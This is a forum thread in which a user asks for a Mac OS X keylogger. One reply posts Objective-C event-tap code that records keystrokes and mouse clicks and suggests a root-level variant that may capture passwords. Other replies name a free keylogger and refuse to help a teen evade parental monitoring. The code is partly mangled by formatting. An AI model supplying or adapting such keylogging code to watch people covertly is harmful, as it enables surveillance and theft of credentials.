or Connect
AppleInsider › Forums › Software › Mac Software › Keylogger for Mac OS X
New Posts  All Forums:Forum Nav:

Keylogger for Mac OS X

post #1 of 12
Thread Starter 
Do any of you know of any keyloggers for X?

I know there are many of these for Windows but I've done some searches on the web and have found none.

I really need this to keep track of what I type.


Thanks
...nunc et in hora mortis nostrae...
Reply
...nunc et in hora mortis nostrae...
Reply
post #2 of 12
Ahhhhh Girlfriend cheatin' on ya pal
He's a mod so he has a few extra vBulletin privileges. That doesn't mean he should stop posting or should start acting like Digital Jesus.
- SolipsismX
Reply
He's a mod so he has a few extra vBulletin privileges. That doesn't mean he should stop posting or should start acting like Digital Jesus.
- SolipsismX
Reply
post #3 of 12
Thread Starter 
[quote]Originally posted by hmurchison:
<strong>Ahhhhh Girlfriend cheatin' on ya pal </strong><hr></blockquote>

What??!!

How would you know?!

What makes you think so?


Anyway, I'm still searching for a keylogger.
...nunc et in hora mortis nostrae...
Reply
...nunc et in hora mortis nostrae...
Reply
post #4 of 12
User with over 700 posts asks for software. User with a single post posts what could be considered spam. Hrmmm. Tough call.

I'm going to let this one fly as it answers the question directly. Carry on.

Edit: ooh, 300th post. How Spartan.
Modding for Great Justice
Reply
Modding for Great Justice
Reply
post #5 of 12
Quote:
Originally Posted by grahamw View Post

User with over 700 posts asks for software. User with a single post posts what could be considered spam. Hrmmm. Tough call.

I'm going to let this one fly as it answers the question directly. Carry on.

Edit: ooh, 300th post. How Spartan.


Nice.


"This is .....SPARTA!!!"
He's a mod so he has a few extra vBulletin privileges. That doesn't mean he should stop posting or should start acting like Digital Jesus.
- SolipsismX
Reply
He's a mod so he has a few extra vBulletin privileges. That doesn't mean he should stop posting or should start acting like Digital Jesus.
- SolipsismX
Reply
post #6 of 12
Quote:
Originally Posted by stevegongrui View Post

Anyway, I'm still searching for a keylogger.

Would you care to tell us why you want a keylogger? It is pretty easy to write a basic one. Here is a code snippet that pretty much covers what you need to do.

Code:


#import "Events.h"


CGEventRef myCGEventCallback(CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
CGPoint location;
UniChar unicodeString[10];
UniCharCount actualStringLength;

switch(type){
case kCGEventKeyDowntCGEventKeyboardGetUnicodeStrin g(event, sizeof(unicodeString) / sizeof(*unicodeString), &actualStringLength, unicodeString);
NSLog([NSString stringWithFormat: @"%C\
", unicodeString[0]]);
break;

case kCGEventLeftMouseDowntlocation = CGEventGetLocation(event);
NSLog([NSString stringWithFormat:@"leftClick\%4.0f, %4.0f\
", location.x, location.y]]);
break;

case kCGEventRightMouseDowntlocation = CGEventGetLocation(event);
NSLog([NSString stringWithFormat:@"rightClick\%4.0f, %4.0f\
", location.x, location.y]]);
break;
}
// We must return the event for it to be useful.
return event;
}



@implementation myKeyLogger


- (void) applicationDidFinishLaunchingNSNotification*)not ification
{

CFMachPortRef eventTap;
CGEventMask eventMask;
CFRunLoopSourceRef runLoopSource;

eventMask = CGEventMaskBit(kCGEventLeftMouseDown) |
CGEventMaskBit(kCGEventRightMouseDown) |
CGEventMaskBit(kCGEventKeyDown);



eventTap = CGEventTapCreate(
kCGSessionEventTap, kCGHeadInsertEventTap,
0, eventMask, myCGEventCallback, self);
if (!eventTap) {
NSLog(@"failed to create event tap\
");
}

// Create a run loop source.
runLoopSource = CFMachPortCreateRunLoopSource(
kCFAllocatorDefault, eventTap, 0);

CFRelease(eventTap);
// Add to the current run loop.
CFRunLoopAddSource([[NSRunLoop currentRunLoop] getCFRunLoop], runLoopSource, kCFRunLoopCommonModes);


CFRelease(runLoopSource);

}
@end



Note that for this to work you have to enable access for assistive devices on the universal access preference panel of the account you are logging. Now if your goal is to have it run in the background so that no one will notice it, I can't help you. This version also doesn't seem to pick up passwords (anything typed in one of those text boxes that only show up as bullets). You might be able to capture those if you changed the kCGSessionEventTap to kCGHIDEventTap but then you would have to run your application with root privileges. I think Apple has done a very good job of making these things easy to write yet making them hard to install in a way that would compromise your system.
post #7 of 12
If I can completely reverse the topic (since the question's been answered), what programs on the Mac detect this type of spyware?

We've been safe from the virus thing for a long time, but I remember when the platform had it's share of virus threats. With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.
The evil that we fight is but the shadow of the evil that we do.
Reply
The evil that we fight is but the shadow of the evil that we do.
Reply
post #8 of 12
Quote:
Originally Posted by Frank777 View Post

... With the Mac's rise in sales, viruses and spyware will become a bigger problem in years to come.

No, they won't.
post #9 of 12
Quote:
Originally Posted by Mr. Me View Post

No, they won't.

I agree, at least in the case of viruses. The idea that the reason there are no viruses for OS X is because of market share is idiotic.

l33t hax0rs and virus writers do what they do for the notoriety, as much as for anything else. What do you think would make a hacker more famous? Writing the FIRST effective virus for OS X, or writing the 42,359th virus for Windows?

The "market share" excuse is a sad attempt to obfuscate the fact that the reason there are no viruses or worms, very few trojans and little spyware for OS X is because OS X is simply more secure.
post #10 of 12
Nice code JBL. If someone's looking for a ready to go binary with a little bit more capability, there's logKext for free. I've just been investigating OS X keyloggers in some depth myself.

Has anyone been using JBL's solution? Does it still work in Snow Leopard?
Où sont les neiges d'antan?
(Where be the snowfalls of yesteryear)
François Villon, 1460.

Nothing's changed and everything's changed.
Reply
Où sont les neiges d'antan?
(Where be the snowfalls of yesteryear)
François Villon, 1460.

Nothing's changed and everything's changed.
Reply
post #11 of 12
Quote:
Originally Posted by Nancycy View Post

Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.

1. TWO. THOUSAND. THREE.
2. NO. We're NOT going to help you circumvent your parents' commands, you fool.
3. For heaven's sake, we're not about to help you do something illegal.
4. They're doing it for a reason. You've completely and utterly missed that reason.

Originally Posted by asdasd

This is Appleinsider. It's all there for you but we can't do it for you.
Reply

Originally Posted by asdasd

This is Appleinsider. It's all there for you but we can't do it for you.
Reply
post #12 of 12
Quote:
Originally Posted by Nancycy View Post

Anyone who can help me to bypass a keylogger on a Mac Leopard? It is a commercial Mac keylogger used by my dad to keep eye on my computer use.

Curious, what is it called?
New Posts  All Forums:Forum Nav:
  Return Home
  Back to Forum: Mac Software
AppleInsider › Forums › Software › Mac Software › Keylogger for Mac OS X